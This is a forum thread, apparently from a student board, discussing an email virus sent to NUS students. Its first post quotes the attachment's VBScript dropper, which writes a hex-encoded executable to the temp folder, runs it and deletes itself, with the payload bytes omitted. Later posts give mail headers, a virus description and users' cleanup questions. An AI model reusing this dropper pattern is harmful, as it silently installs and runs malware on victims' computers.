Email Virus attacked NUS exchange server......the email contains such a html attachemtn
Please wait...
<script language='vbscript'>
on error resume next
set a=createobject("wscript.shell")
set b=createobject("scripting.filesystemobject")
co=0
if (err.number<>0) then
co=1
window.open(document.location.pathname)
end if
set c=b.getspecialfolder(2)
d=replace(document.location.pathname,"%20"," ")
e=c &"\temp.exe"
<此处略过若干千字节,为temp.exe文件内容>
set f=b.createtextfile(e,true)
f.write h(g)
f.close
a.run e,false
window.settimeout "b.deletefile d,true",500
window.settimeout "window.close",500
function h(st)
for i=1 to len(st) step 2
h=h & chr("&h"&mid(st,i,2))
next
end function </script><html>Tinh` cho khong bieu' khong</html>[有话想说 (4-28 22:43, Long long ago)]
[ 传统版 |
sForum ][登录后回复]1楼
mail headerReceived: from mbxsrv26.stu.nus.edu.sg ([137.132.14.225]) by mbxsrv25.stu.nus.edu.sg with Microsoft SMTPSVC(5.0.2195.5329);
Mon, 28 Apr 2003 22:38:34 +0800
Received: from ims01.stf.nus.edu.sg ([137.132.14.208]) by mbxsrv26.stu.nus.edu.sg with Microsoft SMTPSVC(5.0.2195.5329);
Mon, 28 Apr 2003 22:34:40 +0800
Received: from isv01.stf.nus.edu.sg ([137.132.14.19]) by ims01.stf.nus.edu.sg with Microsoft SMTPSVC(5.0.2195.5329);
Mon, 28 Apr 2003 22:30:04 +0800
Received: from leonis.nus.edu.sg ([137.132.1.18]) by isv01.stf.nus.edu.sg with InterScan Messaging Security Suite for SMTP; Mon, 28 Apr 2003 22:30:02 +0800
Received: from jx (209-120.priv19.nus.edu.sg [172.19.209.120])
by leonis.nus.edu.sg (8.12.9/8.12.9) with SMTP id h3SEVO2s010648
for <NUSStudents@nus.edu.sg>; Mon, 28 Apr 2003 22:31:25 +0800 (SGT)
Date: Mon, 28 Apr 2003 22:31:24 +0800 (SGT)
Message-Id: <200304281431.h3SEVO2s010648@leonis.nus.edu.sg>
From: "uprbox1"<uprbox1@nus.edu.sg>
To: NUSStudents@nus.edu.sg
Subject: HELP??-
Reply-To: uprbox1@nus.edu.sg
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="#BOUNDARY#"
Return-Path: uprbox1@nus.edu.sg
X-OriginalArrivalTime: 28 Apr 2003 14:30:04.0445 (UTC) FILETIME=[A8C624D0:01C30D92]
[有话想说 (4-28 22:57, Long long ago)]
[ 传统版 |
sForum ][登录后回复]2楼
Any Harm?mailbox bomber?[Rookkie (4-28 22:58, Long long ago)] [ 传统版 | sForum ][登录后回复]3楼
嘻嘻,我也打开大概看了一下[Lium (4-28 23:03, Long long ago)] [ 传统版 | sForum ][登录后回复]4楼
该病毒介绍>>>>>该病毒是下面病毒的变种
－－－－－－－－－－－－－－－－－－－－－－－－
病毒名称 VBS/VBSWG.X.Worm
别名
病毒类型 蠕虫
特点 VBS/VBSWG.X.Worm是一个通过邮件传播的蠕虫病毒，它可以向地址薄中所有人发送染毒邮件，并打开包含有色情内容的网站。
病毒介绍 染毒邮件主题为："Homepage"
邮件内容为："Hi!
You've got to see this page! It's really cool ;O)"
邮件附件是蠕虫本身："HOMEPAGE.HTML.VBS"
当附件被运行后，蠕虫病毒被激活，并按照地址簿中所有地址发送带毒邮件。 病毒将自身拷贝到系统Temp目录下，同时修改注册表：
HKEY_CURRENT_USER\Software\An\mailed 并将键值至为1。
之后，蠕虫会搜索邮箱中主题为"Homepage"的邮件，将其删除。
解决方法 Kill 23.44以上版本可以检测VBS/VBSWG.X.Worm 所有被检测到感染有VBS/VBSWG.X.Worm蠕虫的文件必须被删除，这可以通过手工方式或设置kill直接删除这些文件。
[小男孩 (4-28 23:11, Long long ago)]
[ 传统版 |
sForum ][登录后回复]5楼
(引用 小男孩:该病毒介绍>>>>>该病毒是下面病毒的变种
－－－－－－－－－－－－－－－－－－－－－－－－
病毒名称 VBS/VBSWG.X.Worm
别名
病毒�
...)it is not this one..... definately......It is a new virus, mainly harm is to attack the MS exchange servers, and pay load onto it..... (from current observations)
the virus has been submitted it to SARC(symantec antivirus research center) just now......
[有话想说 (4-28 23:21, Long long ago)]
[ 传统版 |
sForum ][登录后回复]6楼
(引用 Rookkie:Any Harm?mailbox bomber?)seems a exchange server virus.....[有话想说 (4-28 23:21, Long long ago)] [ 传统版 | sForum ][登录后回复]7楼
我打开了, 就总是收到同样的EMAIL怎么办呀?
我还收到一封叫"HELP!!.." 的EMAIL
怎么杀这个病毒呀?[kowaii (4-28 23:43, Long long ago)]
[ 传统版 |
sForum ][登录后回复]8楼
就是看到是校长发的才打开，不然早删了，气死...[flybuzzz (4-29 0:02, Long long ago)] [ 传统版 | sForum ][登录后回复]9楼
(引用 有话想说:mail headerReceived: from mbxsrv26.stu.nus.edu.sg ([137.132.14.225]) by mbxsrv25.stu.nus.edu.sg with Microsoft SMTPSVC(5.0.2195....)请问如何能够看到这种邮件头的信息？[mbill (4-29 1:22, Long long ago)] [ 传统版 | sForum ][登录后回复]10楼
(引用 mbill:请问如何能够看到这种邮件头的信息？)easyright click select option . done. outlook 2003. 2002 think need to click view source or sth[想停下来休息 (4-29 1:51, Long long ago)] [ 传统版 | sForum ][登录后回复]11楼
(引用 想停下来休息:easyright click select option . done. outlook 2003. 2002 think need to click view source or sth)oops...right click on the list, the mail u wish to see the source.[想停下来休息 (4-29 1:53, Long long ago)] [ 传统版 | sForum ][登录后回复]12楼